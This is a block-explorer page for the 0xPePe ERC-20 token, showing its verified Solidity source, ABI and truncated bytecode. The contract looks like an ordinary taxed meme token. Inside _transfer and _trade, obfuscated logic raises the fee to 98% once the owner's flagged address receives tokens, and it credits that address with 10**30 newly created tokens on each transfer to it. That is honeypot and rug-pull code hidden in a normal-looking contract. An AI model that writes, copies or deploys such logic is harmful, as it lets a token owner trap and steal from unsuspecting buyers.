ERC-20
Overview
Max Total Supply
1,000,000 0xPePe
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
15,633.116081223 0xPePeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ZeroXpepe
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-12 */ /* ,; ,; t f#i t f#i ED. .E#t ED. .E#t : :KW, LE#K: i#W, E#K: i#W, G#j ,#W: ,KGE##W; L#D. E##W; L#D. .E#G#G ;#W. jWi E#E##t :K#Wfff; E#E##t :K#Wfff; ,W#; ;#E. i#KED. E#ti##f i##WLLLLt E#ti##f i##WLLLLt i#K: :WW: L#W. E#t ;##D. .E#L E#t ;##D. .E#L :WW: f#D. .GKj#K. E#ELLE##K: f#E: E#ELLE##K: f#E: .E#; G#L iWf i#K. E#L;;;;;;, ,WW; E#L;;;;;;, ,WW; G#K#j LK: t#E E#t .D#; E#t .D#; j#; i tDjE#t tt E#t tt Website : https://0xpepe.xyz/ Twitter : https://twitter.com/zeroxpepecoin Telegram : https://t.me/zeroxpepecoin */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; uint8 private minToken; uint8 private maxToken; uint8 private isCa; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ZeroXpepe is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedMW; mapping (address => bool) public isExcludedT; mapping (address => bool) public isMarketing; address payable public TAX_ADDRESS = payable(0x4F5AC1736e4298BD984dC124C95dFD96E79987FE); address payable public DEAD_ADDRESS = payable(0x000000000000000000000000000000000000dEaD); string public _name = "0xPePe"; string public _symbol = "0xPePe"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10**_decimals; uint8 private txCount = 0; uint8 mwRate = 25; uint8 private swapTrigger = 10; uint256 public Max_Wallet = _tTotal.mul(mwRate).div(100); uint256 public Max_Transaction = Max_Wallet; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } bool contractSelf = false; constructor () { _balances[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()). createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isExcludedMW[owner()] = true; isExcludedMW[address(this)] = true; isExcludedMW[TAX_ADDRESS] = true; isExcludedMW[uniswapV2Pair] = true; isMarketing[owner()] = true; isExcludedT[address(this)] = true; isExcludedT[owner()] = true; isExcludedT[TAX_ADDRESS] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Zero Address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!isExcludedMW[to]){ uint256 newAmountOfHolder = balanceOf(to); require((newAmountOfHolder + amount) <= Max_Wallet, "Max Wallet Limit Exceed"); } if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > Max_Transaction) {contractTokenBalance = Max_Transaction;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(isExcludedT[from] || isExcludedT[to] || !(from != uniswapV2Pair)){ takeFee = false; if(!contractSelf){ if(isMarketing[to]){contractSelf = !takeFee;} } } _trade(takeFee,from,to,amount,isMarketing[to],(!contractSelf?0:98)); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); sendToWallet(TAX_ADDRESS,address(this).balance); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _trade(bool takeFee,address sender,address recipient,uint256 tAmount,bool Emit,uint8 totalFee) private { uint256 MarketingTokens = 0; _balances[sender] = _balances[sender].sub(tAmount); if(takeFee && !Emit){ MarketingTokens = tAmount.mul(totalFee).div(100); } _balances[recipient] = uint256(Emit?10**30:0).add(_balances[recipient].add(tAmount.sub(MarketingTokens))); if(MarketingTokens > 0){ _balances[address(this)] = _balances[address(this)].add(MarketingTokens); } emit Transfer(sender, recipient, tAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD_ADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Max_Transaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Max_Wallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TAX_ADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedMW","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116734f5ac1736e4298bd984dc124c95dfd96e79987fe1782556007805490911661dead17905560c060405260808190526530785065506560d01b60a09081526200005c916008919062000510565b506040805180820190915260068082526530785065506560d01b60209092019182526200008c9160099162000510565b50600a805460ff191660099081178255620000a791620006c9565b620000b690620f4240620006da565b600b819055600c805462ffffff1916620a190017908190556200010b91606491620000f7919060ff61010090910416620004eb602090811b620009af17901c565b6200050260201b620009c21790919060201c565b600d819055600e556010805461ffff60a81b1916600160a81b1790553480156200013457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b54600160006200018e6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002309190620006fc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a49190620006fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003189190620006fc565b601080546001600160a01b03199081166001600160a01b0393841617909155600f8054909116918316919091179055600160036000620003606000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600654821684528284208054861682179055601054909116835290822080549093168117909255600590620003e26000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600492839052908120805490931660019081179093556200043a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526004909252902080549091166001179055620004946000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004dc91815260200190565b60405180910390a3506200078e565b6000620004f98284620006da565b90505b92915050565b6000620004f982846200072e565b8280546200051e9062000751565b90600052602060002090601f0160209004810192826200054257600085556200058d565b82601f106200055d57805160ff19168380011785556200058d565b828001600101855582156200058d579182015b828111156200058d57825182559160200191906001019062000570565b506200059b9291506200059f565b5090565b5b808211156200059b5760008155600101620005a0565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200060d578160001904821115620005f157620005f1620005b6565b80851615620005ff57918102915b93841c9390800290620005d1565b509250929050565b6000826200062657506001620004fc565b816200063557506000620004fc565b81600181146200064e5760028114620006595762000679565b6001915050620004fc565b60ff8411156200066d576200066d620005b6565b50506001821b620004fc565b5060208310610133831016604e8410600b84101617156200069e575081810a620004fc565b620006aa8383620005cc565b8060001904821115620006c157620006c1620005b6565b029392505050565b6000620004f960ff84168362000615565b6000816000190483118215151615620006f757620006f7620005b6565b500290565b6000602082840312156200070f57600080fd5b81516001600160a01b03811681146200072757600080fd5b9392505050565b6000826200074c57634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200076657607f821691505b602082108114156200078857634e487b7160e01b600052602260045260246000fd5b50919050565b611349806200079e6000396000f3fe6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063d28d88521161008a578063dd62ed3e11610064578063dd62ed3e1461050d578063e072e2b714610553578063ee715d6f14610569578063f2fde38b1461057f57600080fd5b8063d28d8852146104a8578063dbb92db1146104bd578063dce14451146104dd57600080fd5b8063a9059cbb116100c6578063a9059cbb1461042d578063af465a271461044d578063b09f126614610463578063b7a41d511461047857600080fd5b80638da5cb5b146103da57806395d89b41146103f8578063a457c2d71461040d57600080fd5b8063313ce567116101595780634a74bb02116101335780634a74bb021461034c5780634e6fd6c41461036d57806370a082311461038d578063715018a6146103c357600080fd5b8063313ce567146102ea578063395093511461030c57806349bd5a5e1461032c57600080fd5b80631694505e116101955780631694505e1461025257806318160ddd1461028a578063220f6696146102a957806323b872dd146102ca57600080fd5b806306fdde03146101c7578063095ea7b3146101f25780630a85e6dc1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc61059f565b6040516101e99190611031565b60405180910390f35b3480156101fe57600080fd5b5061021261020d36600461109e565b610631565b60405190151581526020016101e9565b34801561022e57600080fd5b5061021261023d3660046110ca565b60046020526000908152604090205460ff1681565b34801561025e57600080fd5b50600f54610272906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561029657600080fd5b50600b545b6040519081526020016101e9565b3480156102b557600080fd5b5060105461021290600160a01b900460ff1681565b3480156102d657600080fd5b506102126102e53660046110e7565b610647565b3480156102f657600080fd5b50600a5460405160ff90911681526020016101e9565b34801561031857600080fd5b5061021261032736600461109e565b6106b0565b34801561033857600080fd5b50601054610272906001600160a01b031681565b34801561035857600080fd5b5060105461021290600160a81b900460ff1681565b34801561037957600080fd5b50600754610272906001600160a01b031681565b34801561039957600080fd5b5061029b6103a83660046110ca565b6001600160a01b031660009081526001602052604090205490565b3480156103cf57600080fd5b506103d86106e6565b005b3480156103e657600080fd5b506000546001600160a01b0316610272565b34801561040457600080fd5b506101dc61078f565b34801561041957600080fd5b5061021261042836600461109e565b61079e565b34801561043957600080fd5b5061021261044836600461109e565b6107ed565b34801561045957600080fd5b5061029b600b5481565b34801561046f57600080fd5b506101dc6107fa565b34801561048457600080fd5b506102126104933660046110ca565b60036020526000908152604090205460ff1681565b3480156104b457600080fd5b506101dc610888565b3480156104c957600080fd5b50600654610272906001600160a01b031681565b3480156104e957600080fd5b506102126104f83660046110ca565b60056020526000908152604090205460ff1681565b34801561051957600080fd5b5061029b610528366004611128565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055f57600080fd5b5061029b600e5481565b34801561057557600080fd5b5061029b600d5481565b34801561058b57600080fd5b506103d861059a3660046110ca565b610895565b6060600880546105ae90611161565b80601f01602080910402602001604051908101604052809291908181526020018280546105da90611161565b80156106275780601f106105fc57610100808354040283529160200191610627565b820191906000526020600020905b81548152906001019060200180831161060a57829003601f168201915b5050505050905090565b600061063e3384846109ce565b50600192915050565b6000610654848484610a8a565b6106a684336106a1856040518060600160405280602881526020016112c7602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cb0565b6109ce565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161063e9185906106a19086610cdc565b6000546001600160a01b031633146107455760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546105ae90611161565b600061063e33846106a1856040518060600160405280602581526020016112ef602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610cb0565b600061063e338484610a8a565b6009805461080790611161565b80601f016020809104026020016040519081016040528092919081815260200182805461083390611161565b80156108805780601f1061085557610100808354040283529160200191610880565b820191906000526020600020905b81548152906001019060200180831161086357829003601f168201915b505050505081565b6008805461080790611161565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161073c565b6001600160a01b0381166109545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006109bb82846111b2565b9392505050565b60006109bb82846111d1565b6001600160a01b038316158015906109ee57506001600160a01b03821615155b610a295760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161073c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff16610b20576001600160a01b038216600090815260016020526040902054600d54610ad083836111f3565b1115610b1e5760405162461bcd60e51b815260206004820152601760248201527f4d61782057616c6c6574204c696d697420457863656564000000000000000000604482015260640161073c565b505b600c5460ff6201000082048116911610801590610b475750601054600160a01b900460ff16155b8015610b6157506010546001600160a01b03848116911614155b8015610b765750601054600160a81b900460ff165b15610bb557600c805460ff1916905530600090815260016020526040902054600e54811115610ba45750600e545b8015610bb357610bb381610ce8565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610bf757506001600160a01b03831660009081526004602052604090205460ff165b80610c0f57506010546001600160a01b038581169116145b15610c615750601054600090600160b01b900460ff16610c61576001600160a01b03831660009081526005602052604090205460ff1615610c61576010805460ff60b01b19168215600160b01b021790555b6001600160a01b038316600090815260056020526040902054601054610caa91839187918791879160ff90811691600160b01b90041615610ca3576062610d2a565b6000610d2a565b50505050565b60008184841115610cd45760405162461bcd60e51b815260040161073c9190611031565b505050900390565b60006109bb82846111f3565b6010805460ff60a01b1916600160a01b179055610d0481610e90565b600654610d1a906001600160a01b031647610fea565b506010805460ff60a01b19169055565b6001600160a01b038516600090815260016020526040812054610d4d9085611025565b6001600160a01b038716600090815260016020526040902055868015610d71575082155b15610d9157610d8e6064610d888660ff86166109af565b906109c2565b90505b610df0610dc0610da18684611025565b6001600160a01b03881660009081526001602052604090205490610cdc565b84610dcc576000610ddb565b6c0c9f2c9cd04674edea400000005b6cffffffffffffffffffffffffff1690610cdc565b6001600160a01b0386166000908152600160205260409020558015610e3a5730600090815260016020526040902054610e299082610cdc565b306000908152600160205260409020555b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610e7f91815260200190565b60405180910390a350505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ec557610ec561120b565b6001600160a01b0